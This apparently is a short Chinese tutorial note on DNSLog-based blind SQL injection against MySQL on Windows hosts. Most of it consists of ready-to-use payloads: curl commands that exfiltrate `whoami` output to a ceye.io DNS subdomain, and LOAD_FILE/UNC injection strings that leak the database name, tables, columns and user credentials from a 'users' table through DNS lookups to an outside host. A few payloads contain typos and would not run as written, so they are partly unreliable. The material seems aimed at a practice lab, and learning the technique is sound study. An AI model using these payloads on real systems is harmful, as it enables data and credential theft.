1.3.3-SQL注入-SQL盲注-Dnslog盲注

2018-06-23  ⋅   sql注入   sql盲注  

需要目标机器时windows系统

DnsLog盲注

DnsLog盲注原理



Dnslog平台:http://ceye.io/

http://ceye.io/profile
curl mzq83x.ceye.io

curl `whoami`.mzq83x.ceye.io


DnsLog盲注方法

核心语法: SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.mysql.r5ourp.ceye.io\\abc'));
sql语句不能含有特殊符号

查表
?id=1' and LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.mysql.r5oup.ceye.io\\abc'))--+

?id=1' and LOAD_FILE(CONCAT('\\\\',(select colum_name from information_schema.columns where table_name='users' limit 5,1),'.mysql.r5ourp.ceye.io\\abc'))--+

?id=1' and LOAD_FILE(CONCAT('\\\\',(select concat(username,password) from security.users limit 0,1),'.mysql.r5ourp.ceye.io\\abc'))--+

?id=1' and LOAD_FILE(CONCAT('\\\\',(select concat_ws('A',username,password) from security.users limit 0,1),'.mysql.r5ourp.ceye.io\\abc'))--+


?id=1' and LOAD_FILE(CONCAT('\\\\',(select hex('~',username,password) from security.users limit 0,1),'.mysql.r5ourp.ceye.io\\abc'))--+


https://github.com/ADOOO/DnslogSqlinj

评论系统未开启,无法评论!

  1. DnsLog盲注
    1. DnsLog盲注原理
    2. DnsLog盲注方法